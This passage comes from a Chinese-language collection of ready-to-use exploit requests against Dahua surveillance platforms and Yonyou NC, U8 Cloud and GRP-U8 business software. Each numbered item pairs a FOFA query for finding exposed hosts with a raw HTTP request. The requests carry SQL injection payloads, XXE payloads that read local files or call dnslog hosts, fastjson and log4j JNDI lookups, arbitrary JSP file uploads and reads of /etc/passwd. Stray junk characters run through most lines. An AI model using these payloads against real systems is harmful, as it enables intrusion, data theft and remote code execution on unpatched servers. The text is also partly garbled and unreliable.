GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
( K8 s+ V- E, @& a' ]0 z* k1 lUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
8 ~4 L8 ~* {6 W! TAccept: */*
' b! k, j6 B3 B; F' [Accept-Language: en
Accept-Encoding: gzip
% l4 e0 Z& X0 w4 S0 T4 F

* N( v$ ]0 [* J: e17. 大华 DSS itcBulletin SQL 注入
" g. E+ Q. |( t# L7 ]' FFOFA：app="dahua-DSS"
( B" c2 q7 v( d8 CPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
9 w1 f2 H# w1 \% d0 DAccept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
( q8 _8 B: |, k0 T, ^5 D& a    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
( c# O+ |) y7 c& R+ P+ F% q      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
  Y+ ]: G  j) q% y      </netMarkings>
    </ns1:deleteBulletin>
% b, S# }! g4 t( D  </s11:Body>
# [$ O, Y9 R/ \1 @5 Z: h1 n</s11:Envelope>
' s$ ?/ q  Y. o

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
6 y+ T+ u) N/ h1 iFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
* ?6 c/ {( k& ~6 v0 B8 m$ rHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
/ s8 t/ u# }4 q. C/ X6 v" J- F  lAccept: */*
Connection: keep-alive
; i# j4 x3 p" L

0 p5 p8 R! W8 P
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
, [8 N3 o; o7 F' P" U; kFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
2 s6 H. r8 C7 s! l2 G2 C; P4 L5 EHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
; x; B0 r" S' F+ ~1 T9 zAccept: */*
Connection: keep-alive


. I4 w6 u% W6 p1 f20. 大华ICC智能物联综合管理平台任意文件读取
6 p3 a5 Z4 z; m8 {' J/ ]FOFA：body="*客户端会小于800*"
% ^0 t) u, l5 v: P7 R- P! AGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
+ x. z) A% {% @& {User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) |7 M% N, @4 [" O, QConnection: close
Accept: */*
; |2 m& |4 P! K. Q! j6 R( [Accept-Language: en
Accept-Encoding: gzip
! {" Q8 x5 k* T' H, C5 ^

21. 大华ICC智能物联综合管理平台random远程代码执行
! c' x6 u4 @$ h" IFOFA：icon_hash="-1935899595"
% @: x2 B; v$ @" O  FPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
) y7 P6 t" _8 W# C; g( uHost: x.x.x.x
/ v2 d3 C# q; qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 z2 D+ W9 U8 T6 n$ }9 aContent-Length: 161
Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
6 d5 b7 M% A1 k  g, V6 T, C, }1 M
{
5 u, ^% I) \# q& i$ e# j"a":{
. M7 w5 b$ P4 W! x3 N" U   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
. h  q5 C7 ]; D* ~9 c3 d

! V- R5 H; }( y" ~+ W22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
# V- |/ |- [- k* jPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
* z4 R! D% _) ~: c: W9 r1 JHost: your-ip
" Z' k( u8 p9 X" {3 R( m# OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
2 {+ A& ]3 \9 i1 b) s
{
/ ~1 C  z) e1 W, N( X"loginName":"${jndi:ldap://dnslog}"
}
2 O7 J4 x2 n3 [& X3 f7 k! k- _


6 p9 r8 X: K- S; w, p& u% c23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
$ z' N, v6 Z+ z' e( mFOFA：icon_hash="-1935899595"
, z: ~* o; }! \7 _+ ZPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
4 g% i; M* ]. @! EAccept-Encoding: gzip
$ b: I0 A6 `2 h) \& m6 DConnection: close

7 L4 d/ I2 q, D& Z1 r& a% \1 E{
% I+ B, F8 p/ j' x! ]. `    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
' V: }) l5 [) Z& E& ]" H       {"@type":"java.net.URL","val":"http://DNSLOG"}
) n5 y8 K  Q3 ]! D  _8 s. T        }""
}
9 d$ i) l3 H- X5 f3 }

24. 用友NC 6.5 accept.jsp任意文件上传
3 n/ d* P. m, n6 d/ xFOFA：icon_hash="1085941792"
9 r0 _9 x! ?6 X4 \# i/ TPOST /aim/equipmap/accept.jsp HTTP/1.1
2 N' Z/ D$ v) f' E* i+ u, U5 vHost: x.x.x.x
8 t) e3 O! J$ O9 EUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
) r7 v8 ^. x5 \/ x2 EConnection: close
Content-Length: 449
Accept: */*
0 Y2 r6 f2 c6 v; M( Y. E- gAccept-Encoding: gzip
% R9 [) n8 e$ L* @3 d$ \& h* FContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
  i$ |5 Q% E% A6 U$ c/ T
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
+ K+ q" v* e2 w5 c5 |  B& o& hContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
( x" Y$ ]2 @; NContent-Type: text/plain
3 O( N/ ~3 @- S; Y( ^) \/ ^8 W  I
; }1 W- L0 n2 S; `7 h<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
& B$ D, i/ ^6 D5 ZContent-Disposition: form-data; name="fname"
4 z/ l- ~8 \8 |8 i
" |! x# C# R" D\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


25. 用友NC registerServlet JNDI 远程代码执行
# y) }0 y* M9 G) k2 iFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
3 h  ^5 d. y# ~" ?0 FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
( i& z  A* H! W: I  P' A. n( ~Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
' U% J$ J+ k, _Content-Type: application/x-www-form-urlencoded
+ g9 m+ A+ O1 l# p
type=1&dsname=ldap://dnslog



1 a& e# S* I- [; O  V26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
0 z( M3 Q. m- A  m0 P8 E* vGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% v: S' x& i- s3 BHost: your-ip
! q# l- M) |; D& [3 \3 w/ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
, C! N' t, u7 n# ~Connection: keep-alive

: ?7 c6 R' d+ O; R: p# F$ M0 a
27. 用友 NC showcontent SQL注入
4 @* v* ^0 q3 i  r) G$ ^' bFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
  ~6 }' t. w6 u5 }6 t/ N7 UHost: your-ip
. S9 C" i* ]4 ~! SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 |1 m8 H8 d, G  D* n9 `8 Q  lAccept-Encoding: identity
Connection: close
4 W7 n4 y1 k; K; k! EContent-Type: text/xml; charset=utf-8


28. 用友NC grouptemplet 任意文件上传
2 g1 @; R* V+ I/ g. `; ]6 eFOFA：icon_hash="1085941792"
1 f/ i  `, ?1 v* m! M0 `1 tPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
6 O. u) |. S& U' WHost: x.x.x.x
, ]5 ~0 {! K4 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
# N$ S% X) _; p* l* K- j3 JConnection: close
: y, y5 q3 ^4 e; C  B% u& lContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
+ @1 p0 l& _. iAccept-Encoding: gzip

" w- n7 ~7 t& I% z! _% V------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
$ [2 p' J& k7 D9 H+ j
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
  ^0 F# v, K# A% W) A------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
. Z1 [6 N& e9 r! x' m2 {
$ \( W( f8 w2 P7 [0 O# [
/uapim/static/pages/nc/head.jsp
( x5 ]1 W/ {, |
+ _( e3 H# x9 w, |: w29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
3 Z6 K, d; r% @+ K% P% c$ }Host: your-ip
4 d! K5 v! M0 X+ g% hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
- t! y2 `; D4 v7 J8 S& t
& Y2 ]& L& L( C6 \6 e. H: T! ]
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
! W2 I; f; u5 G0 b# Y7 K  }POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
' |7 p4 y1 U9 {' i# pContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
( I1 n0 M, u; iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
4 H0 W* W, S# G5 u8 _2 f1 rConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
6 J* C4 Y5 y' J) G1 C4 u. `Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
* D: P* J8 h- j+ LContent-Type: image/jpeg
( u& K/ r5 N8 ?' W* W------WebKitFormBoundaryH970hbttBhoCyj9V--
' {9 I( K7 g) @. K6 w. G% d  W

! j3 P; a; W* i% H/ W6 `$ x  h31. 用友NC runStateServlet SQL注入
5 t7 v/ I7 S  \; \6 c2 i+ iversion<=6.5
& V( q5 \/ V  R  u' dFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
. @% }1 U* Y7 [/ u1 l/ JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+ h' D$ q: j; F0 G! t( T( s! PContent-Type: application/x-www-form-urlencoded

# [* F- P  d- K+ j, q
32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
9 K5 [9 {/ L6 [9 O% u% c# BFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
- m- Y: ?2 c# A& w' p2 |Host: your-ip
1 U; [/ b: N: v6 v9 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& }: }! o: s4 r8 m5 ?Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
' ^, Y! ^. B# c8 i/ bConnection: keep-alive
: M$ x6 |+ ^0 U% a* S  K& V
9 B" _" u9 c4 ~5 A( N
$ N0 L! J$ g2 \% J7 l+ @33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
' d2 M' c) u5 H9 X* X- rHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 K( c7 ^* ]/ {1 s0 i, HContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
* q: P0 G# B2 p" {) G" }+ X2 |Connection: keep-alive

* }2 l  J/ s, S9 g
: H: w" R% \2 W34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
, L1 q& T0 P3 I2 A- c7 ?  G( Q) }! JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
) @# `7 s( Z. I% N; dConnection: keep-alive


35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
. L0 `% o4 T8 B3 F+ v0 F! I- A; nPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
5 K) [7 ~' p& o1 ?  s% u, p: ~Host: 203.25.218.166:8888
+ f5 t( L" Y8 c0 q( A+ e( [User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
; t3 D, T& Q3 o% n, R% w" R: P0 mAccept: */*
( B& q& {. [( t' h5 w+ x2 P. ^Connection: close
, K( D7 }" ~5 c" X0 B5 haccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
0 @% i  w1 C1 Q! wContent-Length: 190
) O! D+ ?6 o8 I# i/ A- g$ \3 ~  hContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
( Z% a, Y% @. @  Y' RContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
. E7 k  c- x: L6 U/ ]
/ f. o2 |# N  ?7 b* |8 W$ @<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
* b, D! h+ w8 v* L' p1 j, n

1 s9 O( c% \3 V4 `$ B8 g' s36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
4 x' S0 r1 `4 vPOST /uapws/soapFormat.ajax HTTP/1.1
$ L* {2 m7 ?! lHost: 192.168.40.130:8989
0 m3 v* c/ p# T: @" E0 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
$ [7 e/ g' B  j/ \3 AContent-Length: 263
. ?0 w% ~: H- L; X2 E0 G- {0 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
$ V# w, _; d  I1 L5 s( VUpgrade-Insecure-Requests: 1
  W  t( t7 q" v' l6 G
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
6 U1 p* G* |* u4 @
% R. |: M& N; Q: k. Z( f
37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
; r/ l- ]  f, j3 j; x7 JHost: 192.168.40.130:8989
+ w& p8 t; T& U6 l; L* a8 L" CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
! a0 \6 g  b5 k- N, `; {% pContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
5 e* m" e7 R' n; m1 B% cAccept-Language: zh-CN,zh;q=0.9
Connection: close
) C6 l4 z% c& O$ p8 HContent-Type: text/xml;charset=UTF-8
  L+ h9 z0 {1 e  PSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
. q# Y; r: X- |
- D7 C% H1 \$ A% }# `<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
6 ~5 I3 x9 n% \, Z$ E* P3 M6 ]6 T<soapenv:Header/>
5 H" E; K8 C2 \" C3 o8 G0 S7 L<soapenv:Body>
& |0 ]6 l' @" }, {' l- e<iup:getResult>
- T/ K8 ?. P4 I' c6 |. k<!--type: string-->
- G# T9 p) Y9 U8 R" V: o<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
+ P6 |% C2 O0 ^</iup:getResult>
</soapenv:Body>
2 e. F9 S& w% F$ H- D/ t- o5 g</soapenv:Envelope>

  J( s$ Z. K3 e0 i/ X. q2 y6 K

$ L0 p3 D) F1 m38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
; _4 [. }7 [( u( S, b# ?POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
% _) s3 r/ k+ }Host: 192.168.40.131:8088
' p: i. A5 h$ M2 _9 P7 ]7 n" lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
2 @) q. W0 s$ g" pContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
' n+ j. \) r! {2 @: e  C' ?Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
& I, T$ C- a) N9 H1 B
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
' J* J- W1 Z) e: G; H0 R* P
: D% r0 _$ M; w1 @( S, ~& z
* N& _3 a" A4 r- U39. 用友U8 Cloud RegisterServlet SQL注入
/ C! }: a% J+ n7 nFOFA：title="u8c"
6 C- t1 e8 s; ^  tPOST /servlet/RegisterServlet HTTP/1.1
. n3 n. l! H9 ]: d% oHost: 192.168.86.128:8089
- ^' c$ I. c; m4 E8 wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
! Q7 f, P: l, u8 p1 P# N: yConnection: close
. {3 i: |. E" F/ [2 qContent-Length: 85
Accept: */*
$ w# {% z, u1 N1 ]; n% w$ xAccept-Language: en
* d' e$ }$ S4 m5 H. K7 ~; DContent-Type: application/x-www-form-urlencoded
# h! o6 D3 x2 M9 ^# sX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
, ~2 n: \1 u8 `8 z/ G8 D/ }% p
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
. g8 w  u- B8 }8 T$ N& c* K
# c) P8 b; H6 ^5 \9 R
! J3 H: _/ p5 F7 _# G$ I" Q40. 用友U8-Cloud XChangeServlet XXE
9 Z$ p- n4 T. }: z8 p, ZFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
& v% `- q9 ^' k# x; p# P7 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
5 p+ y( n- ~5 k  g5 }' w/ g! `8 ]1 oContent-Type: text/xml
. x) l* K: }; i9 @/ ?/ J2 BConnection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

" O% S1 u* X, O
0 ?( [" p, B& M; l  o5 m$ _/ x41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
1 ^9 {, i7 l5 g6 _1 M2 ~: T* d6 uFOFA：app="用友-U8-Cloud"
% h. r% u: @6 V) NGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
5 U; t" Y& h8 ?$ K  d9 k+ V9 h. [Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' c0 M' U: B2 J$ {) T* OContent-Type: application/json
! w; e  n. b: s0 m) eAccept-Encoding: gzip
Connection: close
* d1 I1 K, J. o# `

9 Q) Z1 j/ t& W+ B42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
* |6 N: z* t% SPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
" [1 I8 Z* E& \: x$ r- gContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
! H5 s+ ?6 ?) F( f6 g
PAYLOAD


* E/ Y5 f' [! F8 Y, ghttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
7 y! E/ B( b' W" W9 ^" |! J
% E) v  [( z6 V% y8 U- _43. 用友GRP-U8 userInfoWeb SQL注入致RCE
! @4 Y; x. t4 ^4 n: i* dFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
3 d# v3 ^# d% ]% \$ E. XHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 q8 X  t0 _5 V2 mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

$ |7 |3 A& d* C4 o& i<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>


& J, l% f# Q8 X. Z4 k44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
; c& r5 p8 F: I5 t0 S
2 e8 m9 u6 E" P) U
) i% S4 A4 S" V3 h1 a45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
% M7 R' }* B) ?! h8 n; U" e9 JHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
6 y3 e" Q  c" G. i1 ]& n$ VConnection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
; J, c+ l( E% _8 i% j; XAccept-Encoding: gzip
, o1 g/ j2 _5 u; ~# X: d: B, D
reqData=<?xml version="1.0"?>
8 x6 }9 n4 o1 P<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
0 F9 K) h* G  \1 A) A9 \+ K) m2 I

46. 用友GRP-U8 sqcxIndex.jsp SQL注入
% {3 _5 _. y8 k  V* zFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
5 W  L- c8 x0 L: p# PHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& A1 V2 p" D9 D. F" {5 Z3 qAccept-Encoding: gzip, deflate
) G; u5 A' e4 x  `7 p- wAccept-Language: zh-CN,zh;q=0.9
% @5 c/ f( J  ~  Y' T6 m1 u0 gConnection: close


